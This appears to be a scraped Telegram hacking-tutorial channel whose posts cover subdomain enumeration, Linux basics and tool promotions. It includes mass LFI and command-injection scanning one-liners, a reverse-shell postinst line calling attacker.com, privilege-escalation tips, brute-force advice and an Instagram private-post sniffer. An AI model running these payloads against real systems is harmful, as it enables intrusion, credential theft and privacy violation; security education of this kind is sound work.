The Exploit Lab
701 subscribers
179 photos
3 videos
46 files
4.93K links
| Ethical Hacking Tools |
Download Telegram
πŸ”₯ COMPLETE SUBDOMAIN ENUMERATION METHODOLOGY πŸ”₯

Hey hackers! πŸ‘‹ Just dropped a MASSIVE tutorial on subdomain enumeration. Here's everything you need to dominate bug bounty recon! 🎯

Drop a ⚑️ if you're ready to level up!

---

πŸ“¦ PART 1: ENVIRONMENT SETUP

First, let's create our workspace:

mkdir -p ~/bug-bounty/tools
mkdir -p ~/bug-bounty/wordlists
mkdir -p ~/bug-bounty/resolvers
cd ~/bug-bounty/tools


πŸ“Œ What this does:
Creates organized directories for tools, wordlists, and DNS resolvers

---

πŸ”§ INSTALLING GO LANGUAGE

Most tools are written in Go, so let's install it:

sudo apt update
sudo apt install golang-go -y
go version


Now configure Go environment:

nano ~/.bashrc

Add these lines at the end:
export GOPATH=$HOME/go
export PATH=$PATH:$GOROOT/bin:$GOPATH/bin


Save and reload:
source ~/.bashrc

βœ… Go is ready!

---

πŸ›  TOOL #1: SUBFINDER

Fast passive subdomain enumeration from 30+ sources!

Installation:
go install -v github.com/projectdiscovery/subfinder/v2/cmd/subfinder@latest

Verify:
subfinder -version

Basic Usage:
subfinder -d target.com -all -recursive -o subfinder.txt

πŸ“Š Flags explained:
- -d = target domain
- -all = use all sources
- -recursive = find subdomains of subdomains
- -o = output file

---

πŸ›  TOOL #2: AMASS

The Swiss Army knife of subdomain enumeration by OWASP!

Installation:
sudo apt install amass -y

Verify:
amass -version

Passive Mode:
amass enum -passive -d target.com -o amass.txt

Active Mode:
amass enum -d target.com -o amass_active.txt

🎯 Pro tip: Passive mode is stealthy, active mode is thorough!

---

πŸ›  TOOL #3: ASSETFINDER

Lightweight and lightning-fast subdomain finder!

Installation:
go install github.com/tomnomnom/assetfinder@latest

Usage:
assetfinder --subs-only target.com > assetfinder.txt

⚑️ Super fast for quick recon!

---

πŸ›  TOOL #4: CHAOS

ProjectDiscovery's curated subdomain database!

Installation:
go install -v github.com/projectdiscovery/chaos-client/cmd/chaos@latest

Get API key: chaos.projectdiscovery.io (FREE)

Configure:
chaos -key YOUR_API_KEY

Usage:
chaos -d target.com -silent -o chaos.txt

πŸ—„ Contains data from public bug bounty programs!

---

πŸ›  TOOL #5: PUREDNS

Most accurate DNS brute forcing tool with wildcard filtering!

Installation:
go install github.com/d3mondev/puredns/v2@latest
sudo apt install massdns -y


Brute Force Usage:
puredns bruteforce wordlist.txt target.com -r resolvers.txt -w output.txt

Resolve Mode:
cat subdomains.txt | puredns resolve -r resolvers.txt -w resolved.txt

🎯 Key feature: Filters out wildcard false positives!

---

πŸ›  TOOL #6: DNSX

Fast DNS toolkit for resolution and validation!

Installation:
go install -v github.com/projectdiscovery/dnsx/cmd/dnsx@latest

Resolve A Records:
cat subdomains.txt | dnsx -silent -a -resp -o resolved.txt

Get CNAME Records:
cat subdomains.txt | dnsx -cname -resp-only -silent > cnames.txt

Multiple Record Types:
cat subdomains.txt | dnsx -a -aaaa -cname -mx -txt -resp

πŸ“Š Flags:
- -a = A records (IPv4)
- -aaaa = AAAA records (IPv6)
- -cname = CNAME records
- -resp = show responses

---

πŸ›  TOOL #7: HTTPX

HTTP probing toolkit with rich metadata extraction!

Installation:
go install -v github.com/projectdiscovery/httpx/cmd/httpx@latest

Basic Probing:
cat subdomains.txt | httpx -silent -mc 200,301,302,403 -o live.txt
πŸ‘1
Automated LFI Testing One-Liner:
gau <target> | grep -E "\?.*=" | qsreplace "/etc/passwd" | xargs -I % -P 50 sh -c 'curl -s "%" 2>&1 | grep -q "root:" && echo "Potential LFI: %"'

Breakdown:
1. gau: Get All URLs for the target.
2. grep: Filter for URLs with query parameters.
3. qsreplace: Inject /etc/passwd into parameters.
4. xargs: Run 50 parallel curl requests.
5. grep "root:": Check for a successful LFI.


Happy Hacking! πŸš€
InstagramPrivSniffer.zip
35.9 MB
InstagramPrivSniffer | Fetch Posts & Download Media
πŸ‘1
πŸš€ Automated RCE Detection Tool
Find Remote Code Execution vulnerabilities via Command Injection

gau <target> | grep -E "\?.*=" | qsreplace ";id" | xargs -I % -P 20 sh -c 'curl -s "%" | grep -q "uid=" && echo "Potential RCE: %"'

πŸ” Command Breakdown:
β€’ gau <target> - Gathers all known URLs from target
β€’ grep -E "\?.*=" - Filters URLs with parameters
β€’ qsreplace ";id" - Injects command injection payload
β€’ xargs -I % -P 20 - Parallel testing (20 threads)
β€’ curl -s "%" - Fetches each modified URL
β€’ grep -q "uid=" - Detects successful command execution

πŸ“¦ Required Tools:
gau - go install github.com/lc/gau/v2/cmd/gau@latest
qsreplace - go install github.com/tomnomnom/qsreplace@latest
curl - Built-in or apt install curl

⚠️ Important Notes:
β€’ Use only on authorized targets
β€’ Legal compliance required
β€’ Manual verification needed for false positives
β€’ Educational purpose only

🎯 Example Output:
Potential RCE: https://target.com/page.php?cmd=;id
Potential RCE: https://api.target.com/v1/user?input=;id

#RCE #CommandInjection #WebSecurity #BugBounty #CyberSecurity
πŸ”₯ SSH from Kali Linux into Termux πŸ”₯

Ever needed remote access πŸ“² to your Android device from Kali? Here's how to set up SSH from Kali β†’ Termux:

πŸ“± Step 1: Install SSH in Termux
pkg update && pkg upgrade
pkg install openssh


πŸ” Step 2: Set Password
passwd
(Remember this password! 🧠)

▢️ Step 3: Start SSH Server
sshd
⚠️ Note: Termux uses port 8022 by default

🌐 Step 4: Get Termux IP
ifconfig
Look for your local IP πŸ“ (e.g., 192.168.1.8)

πŸ’» Step 5: Connect from Kali
ssh -p 8022 <username>@<termux-ip>
Example: ssh -p 8022 u0_a156@192.168.1.8
πŸ”‘ Enter the password you set

πŸ’‘ Pro Tip: Don't know your username? πŸ€”
Run in Termux: whoami

Now you've got full shell access to your Android device from Kali! πŸš€βœ¨

#Termux #KaliLinux #SSH #MobilePentest #Android #Hacking πŸ‰
πŸ“’ New Resource β€” XSS Payloads & Bug Bounty Tips

I've put together a compact list of useful XSS payloads and practical tips for bug bounty hunters and web-security learners. This is meant as a learning/reference resource β€” only test on systems you own or have explicit permission to test.

πŸ”— View XSS payloads on GitHub
πŸ’¬ Join the discussion on Telegram

Follow my channels for more:
β€’ X: https://x.com/TheExploitLab
β€’ Instagram: mr_dineshpatro β€’ theexploitlab
β€’ YouTube: TheExploitLab

Usage: study, practice in labs, and report responsibly.
#bugbounty #infosec #xss #websecurity
πŸ“‚ File Navigation in Linux

πŸ”‘ Key Commands
ls - List directory contents
cd - Change directory
pwd - Show current path
tree - Display directory structure
history - View command history

πŸ§ͺ Task of the Day
cd /
ls
cd etc
pwd
cd ~
ls -la


Install and use tree:
sudo apt install tree
tree /home


πŸ” Linux Directory Breakdown
/etc - Configuration files
/var - Logs, web files, variable data
/home - User directories
/tmp - Temporary storage
/root - Root user home

⚠️ Security Note:
These directories are often involved in privilege escalation or persistence in real-world attacks.

#Linux #Terminal #CyberSecurity
πŸ” File Permission Breakdown

ls -l example:
-rwxr-xr-- 1 user group 1337 Jan 1 exploit.sh


- = file (d=dir, l=symlink)
rwx = owner: read, write, execute
r-x = group: read, execute
r-- = others: read only

🧠 Permission Notation
rwxr-xr-- = 754
rwxrwxrwx = 777 (dangerous!)

πŸ”§ Commands
chmod +x file
chmod 755 file
chown user:group file


πŸ§ͺ Task of the Day
echo 'echo hacked' > test.sh
chmod +x test.sh
./test.sh
chmod 777 test.sh
ls -l
sudo chown root:root test.sh


🚩 Real-World Hacking
πŸ”₯ Root-owned script + group-writable = escalation
πŸ”₯ Misconfigured crontabs = root shell
πŸ”₯ Permissions = hacker's tool

πŸ‘‰ https://t.me/TheExploitLabX

#Linux #Permissions #CyberSecurity
πŸ” Users, Groups, and Privilege Escalation

πŸ‘€ User Overview
- Each user has a UID (root = UID 0, normal users UID 1000+).
- Defined in /etc/passwd.
- Home directories: /home/username.
- Check your user:
whoami
id

πŸ‘₯ Group Overview
- Groups define permissions for users.
- Primary group: Assigned at user creation.
- Supplementary groups: Additional privileges.
- See your groups:
groups

πŸ” Key Security-Related Groups
| Group | Why It Matters |
|--------------|----------------------|
| sudo | Execute root commands |
| docker | Possible container breakout |
| adm | Access to logs (creds) |
| lxd | Launch root containers |
| shadow | Read password hashes |

πŸ§ͺ Task of the Day
Run:
whoami
id
groups
sudo -l
Review your group memberships and check for passwordless sudo commands.

⚠️ Real-World Attack Scenarios
- User in sudo group β†’ sudo su for root.
- docker group β†’ Create container with mounted host β†’ root shell.
- Sudo misconfig (NOPASSWD):
(ALL : ALL) NOPASSWD: ALL
Run anything as root with:
sudo /bin/bash

πŸ”— Learn more daily: πŸ“‘ t.me/TheExploitLabX
πŸ“¦ Linux Package Managers & Dependency Abuse

πŸ”Ή What Is a Package Manager?
Handles:
- Installation/removal of software
- Dependency resolution
- System updates

πŸ“Œ Distro-Specific Managers:
apt β†’ Debian (Ubuntu, Kali)
yum/dnf β†’ RedHat, Fedora
pacman β†’ Arch Linux

πŸ”§ Key Commands (APT-based):
sudo apt update # Refresh package lists
sudo apt upgrade # Update all packages
sudo apt install <tool> # Install software
dpkg -l # List installed packages
dpkg -l | grep ssh # Search packages

πŸ“‚ Inspect Installed Packages:
which nmap # Path to binary
dpkg -L nmap # List files installed by a package

⚠️ Attacker Use Cases:
| Technique | Description |
|------------------|---------------------|
| Dependency Hijacking | Malicious .deb with trusted library name |
| Backdoored .deb | Preinst/postinst scripts run payloads |
| Persistence via Updates | Fake updates re-deploy backdoors |
| Local Repo Hijacking | Inject payloads via fake repository |

πŸ§ͺ Task of the Day:
1. Install and inspect a tool:
sudo apt install netcat
which nc
dpkg -L netcat

2. Find scripts run during install:
ls -l /var/lib/dpkg/info/netcat*.*

3. Look inside:
cat /var/lib/dpkg/info/netcat.postinst

πŸ” Red Team Example:
A fake .deb package with:
postinst: bash -i >& /dev/tcp/attacker.com/4444 0>&1
Gives attacker a reverse shell on install.

πŸš€ Join my Telegram channel for more:
πŸ“‘ t.me/TheExploitLabX
❀1
πŸ“œ Introduction to Bash Scripting

🧠 Why Bash?
- Available on almost every Linux system
- Lightweight, fast, and perfect for automation
- Run commands silently, log output, and chain complex tasks

πŸ”§ Simple Bash Script Example

#!/bin/bash
echo "[+] Starting Recon..."
whoami
ip a

Save as recon.sh, then:
chmod +x recon.sh
./recon.sh

πŸ’‘ Key Bash Concepts
| Concept | Description |
|----------------|---------------------|
| #!/bin/bash | Shebang: tells Linux how to execute |
| echo | Prints output |
| $(command) | Executes a shell command |
| $1, $2 | Access script arguments |
| > / >> | Redirect output (overwrite/append) |
| | | Pipe output to another command |

πŸ§ͺ Task of the Day
Create scan.sh:

#!/bin/bash
echo "[*] User Info:"
whoami
echo "[*] System IP:"
ip a | grep inet
echo "[*] Listening Ports:"
ss -tuln

Execute:
chmod +x scan.sh
./scan.sh
Modify it: Add hostname, uptime, or any info you want!

🚩 Real-World Usage
After exploitation, use scripts for:
- Quick system inventory
- Logged recon output
- Silent tool execution
Drop a loot.sh and automate everything!

πŸ”— Join my Telegram channel for more:
πŸ“‘ t.me/TheExploitLabX
πŸ“œ Bash Variables, Arguments & Dynamic Scripting

🧠 Why Use Variables?
Store and reuse data (usernames, IPs, payloads) in scripts.
Example:

name="The Exploit Lab"
echo "Welcome, $name!"


πŸ’» Script Arguments: $1, $2, $@
Pass values externally:

#!/bin/bash
echo "User: $1"
echo "Password: $2"

Run with:
./login.sh admin admin123

πŸ“Œ Symbols:
| Symbol | Meaning |
|--------------|----------------|
| $1 | First argument |
| $2 | Second argument |
| $@ | All arguments |

πŸ” With Loops: multi_ping.sh

#!/bin/bash
for ip in "$@"; do
echo "Pinging $ip..."
ping -c 1 $ip
done

Run it:
./multi_ping.sh 192.168.1.1 192.168.1.2 192.168.1.3

πŸ§ͺ Task of the Day
Build enum.sh:

#!/bin/bash
target=$1
echo "[*] Running scan on $target"
nmap -Pn -sS $target

Make it executable:
chmod +x enum.sh
./enum.sh 10.10.10.10
Extend it to accept port ranges or scripts!

πŸ” Real Use Case
Automate:
- Multi-target recon
- Web login brute-forcing
- Backdoor deployment
With $1, $2, $@, and loops, your script becomes adaptable and scalable.

πŸ“‘ Join my Telegram channel:
t.me/TheExploitLabX
❀1
This media is not supported in your browser
VIEW IN TELEGRAM
πŸ–€ Shadow Alert β€” Copilot vs CVEs
When AI writes code, it can also reveal what breaks it.

What to know:
CVEs are the fingerprints of past breaches β€” publicly documented weaknesses attackers still weaponize. AI-assisted code tools like Copilot can speed development, but they also surface patterns that map to real-world vulnerabilities. Knowledge is power β€” and risk.

πŸ‘‰ Explore the Copilot CVE analysis

Why it matters
β€’ Developers β€” spot recurring vulnerable snippets before they land in production.
β€’ Pentesters β€” find AI-amplified attack vectors faster.
β€’ Defenders β€” harden models and toolchains that suggest insecure code.

Stay sharp. Stay paranoid.

Follow The Exploit Lab
🌐 Twitter
πŸ’¬ Telegram
πŸ“Έ Instagram
πŸ“Έ The Exploit Lab
πŸŽ₯ YouTube
bugbounty_automation.sh
4.8 KB
πŸš€ Automate Bug Bounty Recon in Kali Linux!

πŸ”Ή Script Features:
βœ”οΈ Subdomain enum (subfinder/amass/assetfinder/crt.sh)
βœ”οΈ Live host check (httpx)
βœ”οΈ Port scan (nmap)
βœ”οΈ Screenshots (gowitness)

πŸ“Œ How to Use:
1. Save as bugbounty_automation.sh
2. chmod +x bugbounty_automation.sh
3. Run: ./bugbounty_automation.sh example.com
4. Results in results_example.com/

πŸ“‹ Requirements:
sudo apt install subfinder httpx nmap gowitness jq curl

πŸ’‘ Pro Tips:
- Run on a VPS for 24/7 automation.
- Schedule with crontab.
- Combine with nuclei for vuln scanning.

πŸŽ₯ Demo: Watch Here

⚠️ Note: Use only on authorized targets.

πŸ“’ Follow:
🐦 Twitter
πŸ“Œ Telegram
πŸŽ₯ YouTube

#BugBounty #KaliLinux #Automation
πŸ” Outpost9 Wordlist Collection - Essential Resource for Security Testing

Just discovered an excellent wordlist repository at Outpost9 that every bug bounty hunter should bookmark! πŸ“š

What's Inside:
- Comprehensive username/password lists
- Common credentials for default accounts
- Service-specific wordlists (FTP, SSH, etc.)
- Sanitized real-world breach data
- Perfect for brute-force & enumeration

Quick Usage:
hydra -L users.txt -P passwords.txt target.com ssh
ffuf -w wordlist.txt -u https://target.com/FUZZ

Pro Tip: Combine these with custom wordlists using crunch or cewl for better success rates during credential stuffing and directory fuzzing attacks.

⚠️ Remember: Only use on authorized targets with proper scope!

πŸ’¬ Want more bug bounty tips, tools & techniques? Join our community:
πŸ‘‰ https://t.me/TheExploitLabX
πŸ” CYBER KNOWLEDGE: Essential Terms Explained

You've heard these terms in hacking communitiesβ€”here's what they mean:

πŸ”Ή MD5
128-bit hash function with known vulnerabilities. Once used for crypto, now broken for security purposes.

πŸ”Ή KEYLOGGING
Covert recording of keystrokes to capture credentials and sensitive data without user knowledge.

πŸ”Ή PYTHON
High-level interpreted language by Guido van Rossum. Perfect for scripting exploits and automation tools.

πŸ”Ή ROOTKIT
Malicious software enabling unauthorized system access while hiding its presence from detection.

πŸ”Ή FULLZ
Complete identity packages (SSN, DOB, accounts) sold on dark markets for credit fraud schemes.

πŸ”Ή SQLMAP
Open-source pentesting tool that automates SQL injection detection and exploitation via CLI.

πŸ”Ή SOCKS5
Proxy protocol for routing traffic through intermediary servers with authentication support.

πŸ’‘ Master these fundamentalsβ€”they're crucial for understanding modern cybersecurity!

πŸ”— Join for more cybersecurity insights: https://t.me/TheExploitLabX
πŸ”§ Convert FAT to NTFS Safely & Easily!

Want to upgrade your drive from FAT to NTFS? Follow these simple steps:

1️⃣ Open Command Prompt as Admin
Run this first to check for errors:
CHKDSK [driveletter]: /F

2️⃣ Convert the Drive
Type:
CONVERT [driveletter]: /FS:NTFS

⚠️ Important: While data loss is rare, always back up your files before converting!

πŸ’‘ Why NTFS?
βœ… Better security & file permissions
βœ… Supports larger files & drives
βœ… Improved reliability & recovery

πŸ”— Need more tech tips? Join my channel for in-depth guides & tutorials:
@TheExploitLabX
πŸ” Essential Snort Commands for Linux πŸ”

Mastering Snort? Here’s a quick reference for the most important commands:

1️⃣ Basic Snort Commands
snort -V β†’ Check the installed Snort version.
snort -T -c /etc/snort/snort.conf β†’ Test Snort configuration file for errors.
snort -A console -q -c /etc/snort/snort.conf -i eth0 β†’ Run Snort in console mode.
snort -A full -q -c /etc/snort/snort.conf -i eth0 β†’ Run Snort in full alert mode.
snort -l /var/log/snort -c /etc/snort/snort.conf -i eth0 β†’ Log alerts to /var/log/snort.

2️⃣ Running Snort as a Service
sudo systemctl start snort β†’ Start the Snort service.
sudo systemctl stop snort β†’ Stop the Snort service.
sudo systemctl restart snort β†’ Restart the Snort service.
sudo systemctl enable snort β†’ Enable Snort to start on boot.
sudo systemctl status snort β†’ Check the status of the Snort service.

3️⃣ Snort Rule Management
snort -c /etc/snort/snort.conf -R /etc/snort/rules/local.rules β†’ Run Snort with a specific rule file.
snort -c /etc/snort/snort.conf --dump-dynamic-rules β†’ Dump dynamic rules to the console.
snort -c /etc/snort/snort.conf --pcap-list /path/to/pcap β†’ List PCAP files for analysis.

4️⃣ Snort Log Analysis
tail -f /var/log/snort/alert β†’ Monitor Snort alerts in real-time.
snort -r /var/log/snort/snort.log.1234567890 β†’ Read and analyze a Snort log file.
snort -r /path/to/pcap/file.pcap -c /etc/snort/snort.conf β†’ Analyze a PCAP file using Snort rules.

5️⃣ Snort Update Commands
sudo snort -c /etc/snort/snort.conf --update-rules β†’ Update Snort rules.
sudo pulledpork.pl -c /etc/snort/pulledpork.conf β†’ Update rules using PulledPork.

6️⃣ Snort Packet Capture
snort -dev -i eth0 β†’ Capture and display packets in real-time.
snort -i eth0 -l /var/log/snort -b β†’ Log packets in binary mode (PCAP format).

7️⃣ Snort Performance Testing
snort --perfmon-file /var/log/snort/perfmon.csv β†’ Log performance metrics to a CSV file.

---
πŸ’‘ Want more? Join The Exploit Lab for in-depth guides, tutorials, and discussions on cybersecurity tools and techniques! πŸš€
🚨 New Tool Alert: Raccoon - Offensive Security Swiss Knife! 🚨

πŸ”Ή What is Raccoon?
A high-performance offensive security tool designed for reconnaissance, vulnerability scanning, and exploitation. Built for red teams and penetration testers, Raccoon automates tedious tasks and helps uncover hidden vulnerabilities in target systems.

πŸ”Ή πŸ”§ Key Features:
βœ… Reconnaissance: Gather intel on domains, subdomains, and exposed services.
βœ… Vulnerability Scanning: Identify weaknesses in web apps and networks.
βœ… Exploitation: Leverage exploits for common vulnerabilities.
βœ… Automation: Streamline workflows with customizable scripts.

πŸ”Ή Why Use Raccoon?
βœ”οΈ Open-source and community-driven.
βœ”οΈ Lightweight and fast.
βœ”οΈ Perfect for both beginners and experienced hackers.

πŸ“Œ GitHub: Check it out here

πŸ’‘ Stay ahead of threats. Test your defenses before attackers do!

---
πŸ”₯ This is my Telegram channel for more tools, tutorials, and exploits: Join @TheExploitLabX
🚨 New Tool Alert: CloudFlair by @christophetd 🚨

Discover CloudFlair, a powerful tool designed to bypass Cloudflare's WAF and uncover hidden origins! πŸ” Perfect for security researchers and bug bounty hunters.

πŸ”Ή Features:
βœ”οΈ Bypasses Cloudflare protections
βœ”οΈ Reveals origin server IPs
βœ”οΈ Open-source & customizable

πŸ“Œ GitHub: CloudFlair

πŸ’‘ Why it matters: Enhance your recon game and uncover vulnerabilities like never before!

---
πŸ”₯ This is my Telegram channel for more tools, tips, and exploits: @TheExploitLabX